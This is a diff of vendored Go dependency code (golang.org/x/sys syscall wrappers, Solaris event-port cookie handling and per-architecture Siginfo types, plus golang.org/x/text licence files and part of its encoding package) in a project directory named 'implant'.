+	// 2. An event fires and we return it to the user
+	// The tricky situation is if the event has fired in the kernel but
+	// the user hasn't requested/received it yet.
+	// If the user wants to port_dissociate before the event has been processed,
+	// we should handle things gracefully. To do so, we need to keep an extra
+	// reference to the cookie around until the event is processed
+	// thus the otherwise seemingly extraneous "cookies" map
+	// The key of this map is a pointer to the corresponding &fCookie.cookie
+	cookies map[*interface{}]*fileObjCookie
 }
 
 // PortEvent is an abstraction of the port_event C struct.
@@ -780,9 +774,10 @@ func NewEventPort() (*EventPort, error) {
 		return nil, err
 	}
 	e := &EventPort{
-		port:  port,
-		fds:   make(map[uintptr]interface{}),
-		paths: make(map[string]*fileObjCookie),
+		port:    port,
+		fds:     make(map[uintptr]*fileObjCookie),
+		paths:   make(map[string]*fileObjCookie),
+		cookies: make(map[*interface{}]*fileObjCookie),
 	}
 	return e, nil
 }
@@ -797,9 +792,13 @@ func NewEventPort() (*EventPort, error) {
 func (e *EventPort) Close() error {
 	e.mu.Lock()
 	defer e.mu.Unlock()
+	err := Close(e.port)
+	if err != nil {
+		return err
+	}
 	e.fds = nil
 	e.paths = nil
-	return Close(e.port)
+	return nil
 }
 
 // PathIsWatched checks to see if path is associated with this EventPort.
@@ -836,6 +835,7 @@ func (e *EventPort) AssociatePath(path string, stat os.FileInfo, events int, coo
 		return err
 	}
 	e.paths[path] = fCookie
+	e.cookies[&fCookie.cookie] = fCookie
 	return nil
 }
 
@@ -848,11 +848,19 @@ func (e *EventPort) DissociatePath(path string) error {
 		return fmt.Errorf("%v is not associated with this Event Port", path)
 	}
 	_, err := port_dissociate(e.port, PORT_SOURCE_FILE, uintptr(unsafe.Pointer(f.fobj)))
-	if err != nil {
+	// If the path is no longer associated with this event port (ENOENT)
+	// we should delete it from our map. We can still return ENOENT to the caller.
+	// But we need to save the cookie
+	if err != nil && err != ENOENT {
 		return err
 	}
+	if err == nil {
+		// dissociate was successful, safe to delete the cookie
+		fCookie := e.paths[path]
+		delete(e.cookies, &fCookie.cookie)
+	}
 	delete(e.paths, path)
-	return nil
+	return err
 }
 
 // AssociateFd wraps calls to port_associate(3c) on file descriptors.
@@ -862,12 +870,13 @@ func (e *EventPort) AssociateFd(fd uintptr, events int, cookie interface{}) erro
 	if _, found := e.fds[fd]; found {
 		return fmt.Errorf("%v is already associated with this Event Port", fd)
 	}
-	pcookie := &cookie
-	_, err := port_associate(e.port, PORT_SOURCE_FD, fd, events, (*byte)(unsafe.Pointer(pcookie)))
+	fCookie := &fileObjCookie{nil, cookie}
+	_, err := port_associate(e.port, PORT_SOURCE_FD, fd, events, (*byte)(unsafe.Pointer(&fCookie.cookie)))
 	if err != nil {
 		return err
 	}
-	e.fds[fd] = pcookie
+	e.fds[fd] = fCookie
+	e.cookies[&fCookie.cookie] = fCookie
 	return nil
 }
 
@@ -880,11 +889,16 @@ func (e *EventPort) DissociateFd(fd uintptr) error {
 		return fmt.Errorf("%v is not associated with this Event Port", fd)
 	}
 	_, err := port_dissociate(e.port, PORT_SOURCE_FD, fd)
-	if err != nil {
+	if err != nil && err != ENOENT {
 		return err
 	}
+	if err == nil {
+		// dissociate was successful, safe to delete the cookie
+		fCookie := e.fds[fd]
+		delete(e.cookies, &fCookie.cookie)
+	}
 	delete(e.fds, fd)
-	return nil
+	return err
 }
 
 func createFileObj(name string, stat os.FileInfo) (*fileObj, error) {
@@ -912,26 +926,48 @@ func (e *EventPort) GetOne(t *Timespec) (*PortEvent, error) {
 		return nil, err
 	}
 	p := new(PortEvent)
-	p.Events = pe.Events
-	p.Source = pe.Source
 	e.mu.Lock()
 	defer e.mu.Unlock()
-	switch pe.Source {
-	case PORT_SOURCE_FD:
-		p.Fd = uintptr(pe.Object)
-		cookie := (*interface{})(unsafe.Pointer(pe.User))
-		p.Cookie = *cookie
-		delete(e.fds, p.Fd)
-	case PORT_SOURCE_FILE:
-		p.fobj = (*fileObj)(unsafe.Pointer(uintptr(pe.Object)))
-		p.Path = BytePtrToString((*byte)(unsafe.Pointer(p.fobj.Name)))
-		cookie := (*interface{})(unsafe.Pointer(pe.User))
-		p.Cookie = *cookie
-		delete(e.paths, p.Path)
-	}
+	e.peIntToExt(pe, p)
 	return p, nil
 }
 
+// peIntToExt converts a cgo portEvent struct into the friendlier PortEvent
+// NOTE: Always call this function while holding the e.mu mutex
+func (e *EventPort) peIntToExt(peInt *portEvent, peExt *PortEvent) {
+	peExt.Events = peInt.Events
+	peExt.Source = peInt.Source
+	cookie := (*interface{})(unsafe.Pointer(peInt.User))
+	peExt.Cookie = *cookie
+	switch peInt.Source {
+	case PORT_SOURCE_FD:
+		delete(e.cookies, cookie)
+		peExt.Fd = uintptr(peInt.Object)
+		// Only remove the fds entry if it exists and this cookie matches
+		if fobj, ok := e.fds[peExt.Fd]; ok {
+			if &fobj.cookie == cookie {
+				delete(e.fds, peExt.Fd)
+			}
+		}
+	case PORT_SOURCE_FILE:
+		if fCookie, ok := e.cookies[cookie]; ok && uintptr(unsafe.Pointer(fCookie.fobj)) == uintptr(peInt.Object) {
+			// Use our stashed reference rather than using unsafe on what we got back
+			// the unsafe version would be (*fileObj)(unsafe.Pointer(uintptr(peInt.Object)))
+			peExt.fobj = fCookie.fobj
+		} else {
+			panic("mismanaged memory")
+		}
+		delete(e.cookies, cookie)
+		peExt.Path = BytePtrToString((*byte)(unsafe.Pointer(peExt.fobj.Name)))
+		// Only remove the paths entry if it exists and this cookie matches
+		if fobj, ok := e.paths[peExt.Path]; ok {
+			if &fobj.cookie == cookie {
+				delete(e.paths, peExt.Path)
+			}
+		}
+	}
+}
+
 // Pending wraps port_getn(3c) and returns how many events are pending.
 func (e *EventPort) Pending() (int, error) {
 	var n uint32 = 0
@@ -962,21 +998,7 @@ func (e *EventPort) Get(s []PortEvent, min int, timeout *Timespec) (int, error)
 	e.mu.Lock()
 	defer e.mu.Unlock()
 	for i := 0; i < int(got); i++ {
-		s[i].Events = ps[i].Events
-		s[i].Source = ps[i].Source
-		switch ps[i].Source {
-		case PORT_SOURCE_FD:
-			s[i].Fd = uintptr(ps[i].Object)
-			cookie := (*interface{})(unsafe.Pointer(ps[i].User))
-			s[i].Cookie = *cookie
-			delete(e.fds, s[i].Fd)
-		case PORT_SOURCE_FILE:
-			s[i].fobj = (*fileObj)(unsafe.Pointer(uintptr(ps[i].Object)))
-			s[i].Path = BytePtrToString((*byte)(unsafe.Pointer(s[i].fobj.Name)))
-			cookie := (*interface{})(unsafe.Pointer(ps[i].User))
-			s[i].Cookie = *cookie
-			delete(e.paths, s[i].Path)
-		}
+		e.peIntToExt(&ps[i], &s[i])
 	}
 	return int(got), err
 }

implant/vendor/golang.org/x/sys/unix/syscall_unix.go

@@ -337,6 +337,33 @@ func Recvfrom(fd int, p []byte, flags int) (n int, from Sockaddr, err error) {
 	return
 }
 
+func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from Sockaddr, err error) {
+	var rsa RawSockaddrAny
+	n, oobn, recvflags, err = recvmsgRaw(fd, p, oob, flags, &rsa)
+	// source address is only specified if the socket is unconnected
+	if rsa.Addr.Family != AF_UNSPEC {
+		from, err = anyToSockaddr(fd, &rsa)
+	}
+	return
+}
+
+func Sendmsg(fd int, p, oob []byte, to Sockaddr, flags int) (err error) {
+	_, err = SendmsgN(fd, p, oob, to, flags)
+	return
+}
+
+func SendmsgN(fd int, p, oob []byte, to Sockaddr, flags int) (n int, err error) {
+	var ptr unsafe.Pointer
+	var salen _Socklen
+	if to != nil {
+		ptr, salen, err = to.sockaddr()
+		if err != nil {
+			return 0, err
+		}
+	}
+	return sendmsgN(fd, p, oob, ptr, salen, flags)
+}
+
 func Send(s int, buf []byte, flags int) (err error) {
 	return sendto(s, buf, flags, nil, 0)
 }

implant/vendor/golang.org/x/sys/unix/zerrors_linux.go

@@ -2135,6 +2135,10 @@ const (
 	PTRACE_SYSCALL_INFO_NONE                    = 0x0
 	PTRACE_SYSCALL_INFO_SECCOMP                 = 0x3
 	PTRACE_TRACEME                              = 0x0
+	P_ALL                                       = 0x0
+	P_PGID                                      = 0x2
+	P_PID                                       = 0x1
+	P_PIDFD                                     = 0x3
 	QNX4_SUPER_MAGIC                            = 0x2f
 	QNX6_SUPER_MAGIC                            = 0x68191122
 	RAMFS_MAGIC                                 = 0x858458f6

implant/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.go

@@ -643,17 +643,22 @@ var libc_flistxattr_trampoline_addr uintptr
 
 // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
 
-func setattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
-	_, _, e1 := syscall_syscall6(libc_setattrlist_trampoline_addr, uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
+func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
+	var _p0 *byte
+	_p0, err = BytePtrFromString(path)
+	if err != nil {
+		return
+	}
+	_, _, e1 := syscall_syscall6(libc_utimensat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
 	if e1 != 0 {
 		err = errnoErr(e1)
 	}
 	return
 }
 
-var libc_setattrlist_trampoline_addr uintptr
+var libc_utimensat_trampoline_addr uintptr
 
-//go:cgo_import_dynamic libc_setattrlist setattrlist "/usr/lib/libSystem.B.dylib"
+//go:cgo_import_dynamic libc_utimensat utimensat "/usr/lib/libSystem.B.dylib"
 
 // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
 

implant/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.s

@@ -228,11 +228,11 @@ TEXT libc_flistxattr_trampoline<>(SB),NOSPLIT,$0-0
 GLOBL	·libc_flistxattr_trampoline_addr(SB), RODATA, $8
 DATA	·libc_flistxattr_trampoline_addr(SB)/8, $libc_flistxattr_trampoline<>(SB)
 
-TEXT libc_setattrlist_trampoline<>(SB),NOSPLIT,$0-0
-	JMP	libc_setattrlist(SB)
+TEXT libc_utimensat_trampoline<>(SB),NOSPLIT,$0-0
+	JMP	libc_utimensat(SB)
 
-GLOBL	·libc_setattrlist_trampoline_addr(SB), RODATA, $8
-DATA	·libc_setattrlist_trampoline_addr(SB)/8, $libc_setattrlist_trampoline<>(SB)
+GLOBL	·libc_utimensat_trampoline_addr(SB), RODATA, $8
+DATA	·libc_utimensat_trampoline_addr(SB)/8, $libc_utimensat_trampoline<>(SB)
 
 TEXT libc_fcntl_trampoline<>(SB),NOSPLIT,$0-0
 	JMP	libc_fcntl(SB)

implant/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.go

@@ -643,17 +643,22 @@ var libc_flistxattr_trampoline_addr uintptr
 
 // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
 
-func setattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
-	_, _, e1 := syscall_syscall6(libc_setattrlist_trampoline_addr, uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
+func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
+	var _p0 *byte
+	_p0, err = BytePtrFromString(path)
+	if err != nil {
+		return
+	}
+	_, _, e1 := syscall_syscall6(libc_utimensat_trampoline_addr, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
 	if e1 != 0 {
 		err = errnoErr(e1)
 	}
 	return
 }
 
-var libc_setattrlist_trampoline_addr uintptr
+var libc_utimensat_trampoline_addr uintptr
 
-//go:cgo_import_dynamic libc_setattrlist setattrlist "/usr/lib/libSystem.B.dylib"
+//go:cgo_import_dynamic libc_utimensat utimensat "/usr/lib/libSystem.B.dylib"
 
 // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
 

implant/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.s

@@ -228,11 +228,11 @@ TEXT libc_flistxattr_trampoline<>(SB),NOSPLIT,$0-0
 GLOBL	·libc_flistxattr_trampoline_addr(SB), RODATA, $8
 DATA	·libc_flistxattr_trampoline_addr(SB)/8, $libc_flistxattr_trampoline<>(SB)
 
-TEXT libc_setattrlist_trampoline<>(SB),NOSPLIT,$0-0
-	JMP	libc_setattrlist(SB)
+TEXT libc_utimensat_trampoline<>(SB),NOSPLIT,$0-0
+	JMP	libc_utimensat(SB)
 
-GLOBL	·libc_setattrlist_trampoline_addr(SB), RODATA, $8
-DATA	·libc_setattrlist_trampoline_addr(SB)/8, $libc_setattrlist_trampoline<>(SB)
+GLOBL	·libc_utimensat_trampoline_addr(SB), RODATA, $8
+DATA	·libc_utimensat_trampoline_addr(SB)/8, $libc_utimensat_trampoline<>(SB)
 
 TEXT libc_fcntl_trampoline<>(SB),NOSPLIT,$0-0
 	JMP	libc_fcntl(SB)

implant/vendor/golang.org/x/sys/unix/zsyscall_linux.go

@@ -231,6 +231,16 @@ func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err
 
 // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
 
+func Waitid(idType int, id int, info *Siginfo, options int, rusage *Rusage) (err error) {
+	_, _, e1 := Syscall6(SYS_WAITID, uintptr(idType), uintptr(id), uintptr(unsafe.Pointer(info)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0)
+	if e1 != 0 {
+		err = errnoErr(e1)
+	}
+	return
+}
+
+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
+
 func KeyctlInt(cmd int, arg2 int, arg3 int, arg4 int, arg5 int) (ret int, err error) {
 	r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
 	ret = int(r0)
@@ -1992,6 +2002,16 @@ func PidfdGetfd(pidfd int, targetfd int, flags int) (fd int, err error) {
 
 // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
 
+func PidfdSendSignal(pidfd int, sig Signal, info *Siginfo, flags int) (err error) {
+	_, _, e1 := Syscall6(SYS_PIDFD_SEND_SIGNAL, uintptr(pidfd), uintptr(sig), uintptr(unsafe.Pointer(info)), uintptr(flags), 0, 0)
+	if e1 != 0 {
+		err = errnoErr(e1)
+	}
+	return
+}
+
+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
+
 func shmat(id int, addr uintptr, flag int) (ret uintptr, err error) {
 	r0, _, e1 := Syscall(SYS_SHMAT, uintptr(id), uintptr(addr), uintptr(flag))
 	ret = uintptr(r0)

implant/vendor/golang.org/x/sys/unix/ztypes_linux_386.go

@@ -250,6 +250,13 @@ type Sigset_t struct {
 
 const _C__NSIG = 0x41
 
+type Siginfo struct {
+	Signo int32
+	Errno int32
+	Code  int32
+	_     [116]byte
+}
+
 type Termios struct {
 	Iflag  uint32
 	Oflag  uint32

implant/vendor/golang.org/x/sys/unix/ztypes_linux_amd64.go

@@ -265,6 +265,14 @@ type Sigset_t struct {
 
 const _C__NSIG = 0x41
 
+type Siginfo struct {
+	Signo int32
+	Errno int32
+	Code  int32
+	_     int32
+	_     [112]byte
+}
+
 type Termios struct {
 	Iflag  uint32
 	Oflag  uint32

implant/vendor/golang.org/x/sys/unix/ztypes_linux_arm.go

@@ -241,6 +241,13 @@ type Sigset_t struct {
 
 const _C__NSIG = 0x41
 
+type Siginfo struct {
+	Signo int32
+	Errno int32
+	Code  int32
+	_     [116]byte
+}
+
 type Termios struct {
 	Iflag  uint32
 	Oflag  uint32

implant/vendor/golang.org/x/sys/unix/ztypes_linux_arm64.go

@@ -244,6 +244,14 @@ type Sigset_t struct {
 
 const _C__NSIG = 0x41
 
+type Siginfo struct {
+	Signo int32
+	Errno int32
+	Code  int32
+	_     int32
+	_     [112]byte
+}
+
 type Termios struct {
 	Iflag  uint32
 	Oflag  uint32

implant/vendor/golang.org/x/sys/unix/ztypes_linux_mips.go

@@ -246,6 +246,13 @@ type Sigset_t struct {
 
 const _C__NSIG = 0x80
 
+type Siginfo struct {
+	Signo int32
+	Code  int32
+	Errno int32
+	_     [116]byte
+}
+
 type Termios struct {
 	Iflag  uint32
 	Oflag  uint32

implant/vendor/golang.org/x/sys/unix/ztypes_linux_mips64.go

@@ -247,6 +247,14 @@ type Sigset_t struct {
 
 const _C__NSIG = 0x80
 
+type Siginfo struct {
+	Signo int32
+	Code  int32
+	Errno int32
+	_     int32
+	_     [112]byte
+}
+
 type Termios struct {
 	Iflag  uint32
 	Oflag  uint32

implant/vendor/golang.org/x/sys/unix/ztypes_linux_mips64le.go

@@ -247,6 +247,14 @@ type Sigset_t struct {
 
 const _C__NSIG = 0x80
 
+type Siginfo struct {
+	Signo int32
+	Code  int32
+	Errno int32
+	_     int32
+	_     [112]byte
+}
+
 type Termios struct {
 	Iflag  uint32
 	Oflag  uint32

implant/vendor/golang.org/x/sys/unix/ztypes_linux_mipsle.go

@@ -246,6 +246,13 @@ type Sigset_t struct {
 
 const _C__NSIG = 0x80
 
+type Siginfo struct {
+	Signo int32
+	Code  int32
+	Errno int32
+	_     [116]byte
+}
+
 type Termios struct {
 	Iflag  uint32
 	Oflag  uint32

implant/vendor/golang.org/x/sys/unix/ztypes_linux_ppc.go

@@ -253,6 +253,13 @@ type Sigset_t struct {
 
 const _C__NSIG = 0x41
 
+type Siginfo struct {
+	Signo int32
+	Errno int32
+	Code  int32
+	_     [116]byte
+}
+
 type Termios struct {
 	Iflag  uint32
 	Oflag  uint32

implant/vendor/golang.org/x/sys/unix/ztypes_linux_ppc64.go

@@ -254,6 +254,14 @@ type Sigset_t struct {
 
 const _C__NSIG = 0x41
 
+type Siginfo struct {
+	Signo int32
+	Errno int32
+	Code  int32
+	_     int32
+	_     [112]byte
+}
+
 type Termios struct {
 	Iflag  uint32
 	Oflag  uint32

implant/vendor/golang.org/x/sys/unix/ztypes_linux_ppc64le.go

@@ -254,6 +254,14 @@ type Sigset_t struct {
 
 const _C__NSIG = 0x41
 
+type Siginfo struct {
+	Signo int32
+	Errno int32
+	Code  int32
+	_     int32
+	_     [112]byte
+}
+
 type Termios struct {
 	Iflag  uint32
 	Oflag  uint32

implant/vendor/golang.org/x/sys/unix/ztypes_linux_riscv64.go

@@ -272,6 +272,14 @@ type Sigset_t struct {
 
 const _C__NSIG = 0x41
 
+type Siginfo struct {
+	Signo int32
+	Errno int32
+	Code  int32
+	_     int32
+	_     [112]byte
+}
+
 type Termios struct {
 	Iflag  uint32
 	Oflag  uint32

implant/vendor/golang.org/x/sys/unix/ztypes_linux_s390x.go

@@ -267,6 +267,14 @@ type Sigset_t struct {
 
 const _C__NSIG = 0x41
 
+type Siginfo struct {
+	Signo int32
+	Errno int32
+	Code  int32
+	_     int32
+	_     [112]byte
+}
+
 type Termios struct {
 	Iflag  uint32
 	Oflag  uint32

implant/vendor/golang.org/x/sys/unix/ztypes_linux_sparc64.go

@@ -249,6 +249,14 @@ type Sigset_t struct {
 
 const _C__NSIG = 0x41
 
+type Siginfo struct {
+	Signo int32
+	Errno int32
+	Code  int32
+	_     int32
+	_     [112]byte
+}
+
 type Termios struct {
 	Iflag  uint32
 	Oflag  uint32

implant/vendor/golang.org/x/sys/windows/syscall_windows.go

@@ -10,6 +10,7 @@ import (
 	errorspkg "errors"
 	"fmt"
 	"runtime"
+	"strings"
 	"sync"
 	"syscall"
 	"time"
@@ -86,10 +87,8 @@ func StringToUTF16(s string) []uint16 {
 // s, with a terminating NUL added. If s contains a NUL byte at any
 // location, it returns (nil, syscall.EINVAL).
 func UTF16FromString(s string) ([]uint16, error) {
-	for i := 0; i < len(s); i++ {
-		if s[i] == 0 {
-			return nil, syscall.EINVAL
-		}
+	if strings.IndexByte(s, 0) != -1 {
+		return nil, syscall.EINVAL
 	}
 	return utf16.Encode([]rune(s + "\x00")), nil
 }

implant/vendor/golang.org/x/text/AUTHORS

@@ -0,0 +1,3 @@
+# This source code refers to The Go Authors for copyright purposes.
+# The master list of authors is in the main Go distribution,
+# visible at http://tip.golang.org/AUTHORS.

implant/vendor/golang.org/x/text/CONTRIBUTORS

@@ -0,0 +1,3 @@
+# This source code was written by the Go contributors.
+# The master list of contributors is in the main Go distribution,
+# visible at http://tip.golang.org/CONTRIBUTORS.

implant/vendor/golang.org/x/text/LICENSE

@@ -0,0 +1,27 @@
+Copyright (c) 2009 The Go Authors. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are
+met:
+
+   * Redistributions of source code must retain the above copyright
+notice, this list of conditions and the following disclaimer.
+   * Redistributions in binary form must reproduce the above
+copyright notice, this list of conditions and the following disclaimer
+in the documentation and/or other materials provided with the
+distribution.
+   * Neither the name of Google Inc. nor the names of its
+contributors may be used to endorse or promote products derived from
+this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

implant/vendor/golang.org/x/text/PATENTS

@@ -0,0 +1,22 @@
+Additional IP Rights Grant (Patents)
+
+"This implementation" means the copyrightable works distributed by
+Google as part of the Go project.
+
+Google hereby grants to You a perpetual, worldwide, non-exclusive,
+no-charge, royalty-free, irrevocable (except as stated in this section)
+patent license to make, have made, use, offer to sell, sell, import,
+transfer and otherwise run, modify and propagate the contents of this
+implementation of Go, where such license applies only to those patent
+claims, both currently owned or controlled by Google and acquired in
+the future, licensable by Google that are necessarily infringed by this
+implementation of Go.  This grant does not include claims that would be
+infringed only as a consequence of further modification of this
+implementation.  If you or your agent or exclusive licensee institute or
+order or agree to the institution of patent litigation against any
+entity (including a cross-claim or counterclaim in a lawsuit) alleging
+that this implementation of Go or any code incorporated within this
+implementation of Go constitutes direct or contributory patent
+infringement, or inducement of patent infringement, then any patent
+rights granted to you under this License for this implementation of Go
+shall terminate as of the date such litigation is filed.

implant/vendor/golang.org/x/text/encoding/encoding.go

@@ -0,0 +1,335 @@
+// Copyright 2013 The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+// Package encoding defines an interface for character encodings, such as Shift
+// JIS and Windows 1252, that can convert to and from UTF-8.
+//
+// Encoding implementations are provided in other packages, such as
+// golang.org/x/text/encoding/charmap and
+// golang.org/x/text/encoding/japanese.
+package encoding // import "golang.org/x/text/encoding"
+
+import (
+	"errors"
+	"io"
+	"strconv"
+	"unicode/utf8"
+
+	"golang.org/x/text/encoding/internal/identifier"
+	"golang.org/x/text/transform"
+)
+
+// TODO:
+// - There seems to be some inconsistency in when decoders return errors
+//   and when not. Also documentation seems to suggest they shouldn't return
+//   errors at all (except for UTF-16).
+// - Encoders seem to rely on or at least benefit from the input being in NFC
+//   normal form. Perhaps add an example how users could prepare their output.
+
+// Encoding is a character set encoding that can be transformed to and from
+// UTF-8.
+type Encoding interface {
+	// NewDecoder returns a Decoder.
+	NewDecoder() *Decoder
+
+	// NewEncoder returns an Encoder.
+	NewEncoder() *Encoder
+}
+
+// A Decoder converts bytes to UTF-8. It implements transform.Transformer.
+//
+// Transforming source bytes that are not of that encoding will not result in an
+// error per se. Each byte that cannot be transcoded will be represented in the
+// output by the UTF-8 encoding of '\uFFFD', the replacement rune.
+type Decoder struct {
+	transform.Transformer
+
+	// This forces external creators of Decoders to use names in struct
+	// initializers, allowing for future extendibility without having to break
+	// code.
+	_ struct{}
+}
+
+// Bytes converts the given encoded bytes to UTF-8. It returns the converted
+// bytes or nil, err if any error occurred.
+func (d *Decoder) Bytes(b []byte) ([]byte, error) {
+	b, _, err := transform.Bytes(d, b)
+	if err != nil {
+		return nil, err
+	}
+	return b, nil
+}
+
+// String converts the given encoded string to UTF-8. It returns the converted
+// string or "", err if any error occurred.
+func (d *Decoder) String(s string) (string, error) {
+	s, _, err := transform.String(d, s)
+	if err != nil {
+		return "", err
+	}
+	return s, nil
+}
+
+// Reader wraps another Reader to decode its bytes.
+//
+// The Decoder may not be used for any other operation as long as the returned
+// Reader is in use.
+func (d *Decoder) Reader(r io.Reader) io.Reader {
+	return transform.NewReader(r, d)
+}
+
+// An Encoder converts bytes from UTF-8. It implements transform.Transformer.
+//
+// Each rune that cannot be transcoded will result in an error. In this case,
+// the transform will consume all source byte up to, not including the offending
+// rune. Transforming source bytes that are not valid UTF-8 will be replaced by
+// `\uFFFD`. To return early with an error instead, use transform.Chain to
+// preprocess the data with a UTF8Validator.
+type Encoder struct {
+	transform.Transformer
+
+	// This forces external creators of Encoders to use names in struct
+	// initializers, allowing for future extendibility without having to break
+	// code.
+	_ struct{}
+}
+
+// Bytes converts bytes from UTF-8. It returns the converted bytes or nil, err if
+// any error occurred.
+func (e *Encoder) Bytes(b []byte) ([]byte, error) {
+	b, _, err := transform.Bytes(e, b)
+	if err != nil {
+		return nil, err
+	}
+	return b, nil
+}
+
+// String converts a string from UTF-8. It returns the converted string or
+// "", err if any error occurred.
+func (e *Encoder) String(s string) (string, error) {
+	s, _, err := transform.String(e, s)
+	if err != nil {
+		return "", err
+	}
+	return s, nil
+}
+
+// Writer wraps another Writer to encode its UTF-8 output.
+//
+// The Encoder may not be used for any other operation as long as the returned
+// Writer is in use.
+func (e *Encoder) Writer(w io.Writer) io.Writer {
+	return transform.NewWriter(w, e)
+}
+
+// ASCIISub is the ASCII substitute character, as recommended by
+// https://unicode.org/reports/tr36/#Text_Comparison
+const ASCIISub = '\x1a'
+
+// Nop is the nop encoding. Its transformed bytes are the same as the source
+// bytes; it does not replace invalid UTF-8 sequences.
+var Nop Encoding = nop{}
+
+type nop struct{}
+
+func (nop) NewDecoder() *Decoder {
+	return &Decoder{Transformer: transform.Nop}
+}
+func (nop) NewEncoder() *Encoder {
+	return &Encoder{Transformer: transform.Nop}
+}
+
+// Replacement is the replacement encoding. Decoding from the replacement
+// encoding yields a single '\uFFFD' replacement rune. Encoding from UTF-8 to
+// the replacement encoding yields the same as the source bytes except that
+// invalid UTF-8 is converted to '\uFFFD'.
+//
+// It is defined at http://encoding.spec.whatwg.org/#replacement
+var Replacement Encoding = replacement{}
+
+type replacement struct{}
+
+func (replacement) NewDecoder() *Decoder {
+	return &Decoder{Transformer: replacementDecoder{}}
+}
+
+func (replacement) NewEncoder() *Encoder {
+	return &Encoder{Transformer: replacementEncoder{}}
+}
+
+func (replacement) ID() (mib identifier.MIB, other string) {
+	return identifier.Replacement, ""
+}
+
+type replacementDecoder struct{ transform.NopResetter }
+
+func (replacementDecoder) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
+	if len(dst) < 3 {
+		return 0, 0, transform.ErrShortDst
+	}
+	if atEOF {
+		const fffd = "\ufffd"
+		dst[0] = fffd[0]
+		dst[1] = fffd[1]
+		dst[2] = fffd[2]
+		nDst = 3
+	}
+	return nDst, len(src), nil
+}
+
+type replacementEncoder struct{ transform.NopResetter }
+
+func (replacementEncoder) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
+	r, size := rune(0), 0
+
+	for ; nSrc < len(src); nSrc += size {
+		r = rune(src[nSrc])
+
+		// Decode a 1-byte rune.
+		if r < utf8.RuneSelf {
+			size = 1
+
+		} else {
+			// Decode a multi-byte rune.
+			r, size = utf8.DecodeRune(src[nSrc:])
+			if size == 1 {
+				// All valid runes of size 1 (those below utf8.RuneSelf) were
+				// handled above. We have invalid UTF-8 or we haven't seen the
+				// full character yet.
+				if !atEOF && !utf8.FullRune(src[nSrc:]) {
+					err = transform.ErrShortSrc
+					break
+				}
+				r = '\ufffd'
+			}
+		}
+
+		if nDst+utf8.RuneLen(r) > len(dst) {
+			err = transform.ErrShortDst
+			break
+		}
+		nDst += utf8.EncodeRune(dst[nDst:], r)
+	}
+	return nDst, nSrc, err
+}
+
+// HTMLEscapeUnsupported wraps encoders to replace source runes outside the
+// repertoire of the destination encoding with HTML escape sequences.
+//
+// This wrapper exists to comply to URL and HTML forms requiring a
+// non-terminating legacy encoder. The produced sequences may lead to data
+// loss as they are indistinguishable from legitimate input. To avoid this
+// issue, use UTF-8 encodings whenever possible.
+func HTMLEscapeUnsupported(e *Encoder) *Encoder {
+	return &Encoder{Transformer: &errorHandler{e, errorToHTML}}
+}
+
+// ReplaceUnsupported wraps encoders to replace source runes outside the
+// repertoire of the destination encoding with an encoding-specific
+// replacement.
+//
+// This wrapper is only provided for backwards compatibility and legacy
+// handling. Its use is strongly discouraged. Use UTF-8 whenever possible.
+func ReplaceUnsupported(e *Encoder) *Encoder {
+	return &Encoder{Transformer: &errorHandler{e, errorToReplacement}}
+}
+
+type errorHandler struct {
+	*Encoder
+	handler func(dst []byte, r rune, err repertoireError) (n int, ok bool)
+}
+
